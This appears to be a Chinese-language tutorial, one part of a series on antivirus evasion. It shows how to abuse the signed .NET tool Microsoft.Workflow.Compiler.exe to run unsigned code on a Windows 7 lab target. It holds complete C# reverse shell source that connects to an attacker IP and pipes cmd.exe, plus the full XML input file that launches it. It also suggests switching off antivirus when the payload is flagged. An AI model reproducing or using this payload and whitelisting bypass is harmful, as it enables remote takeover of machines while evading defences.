0x01 Compiler.exe介绍

Microsoft.Workflow.Comiler.exe是.NET Framework默认自带的一个实用工具，用户能够以XOML工作流文件的形式提供一个序列化工作流来执行任意未签名的代码。

Microsoft.Workflow.Comiler.exe需要两个命令行参数，第一个参数必须是一个XML文件（由一个序列化CompilerInput对象构成）的路径，第二个参数则是写入序列化编译结果的文件路径。

由于白名单加载payload的免杀测试需要结合杀软的行为检测才合理，查杀白名单文件都没有任何意义，payload文件的查杀率依赖于对payload的免杀处理，所以这里对白名单程序的免杀效果不做评判。

0x02 使用Compiler.exe执行payload

注意：如果Microsoft.Workflow.Compiler命令无法识别，可能是Microsoft.Workflow.Compiler.exe所在路径没有被系统添加PATH环境变量中。

Win7的Compiler.exe默认位置：

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe

攻击机kali：192.168.247.131

靶机win7(64):192.168.247.133(装有某数字杀毒)

攻击机配置监听

靶机执行，会被拦截提示可疑操作。

关闭杀毒软件再次执行或者点击允许程序执行。

MSF成功弹回shell。

test.tcp代码

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Workflow.Activities; 
public class Program : SequentialWorkflowActivity
{
static StreamWriter streamWriter; 
public Program()
{
using(TcpClient client = new TcpClient("192.168.247.131", 10129))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream); 
StringBuilder strInput = new StringBuilder(); 
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine(); 
while(true)
{
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
} 
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder(); 
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
} 
}

yuye.xml代码

<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>test.tcp</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true"/>
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>

参考链接：

Micro8: 《白名单Compiler.exe执行payload》https://micro8.gitbook.io/micro8/contents-1/71-80/76-ji-yu-bai-ming-dan-compiler.exe-zhi-hang-payload-di-liu-ji

虽然我们生活在阴沟里，但依然有人仰望星空！

【免杀篇】远控免杀专题(43)-白名单Compiler.exe执行payload

0x01 Compiler.exe介绍

0x02 使用Compiler.exe执行payload

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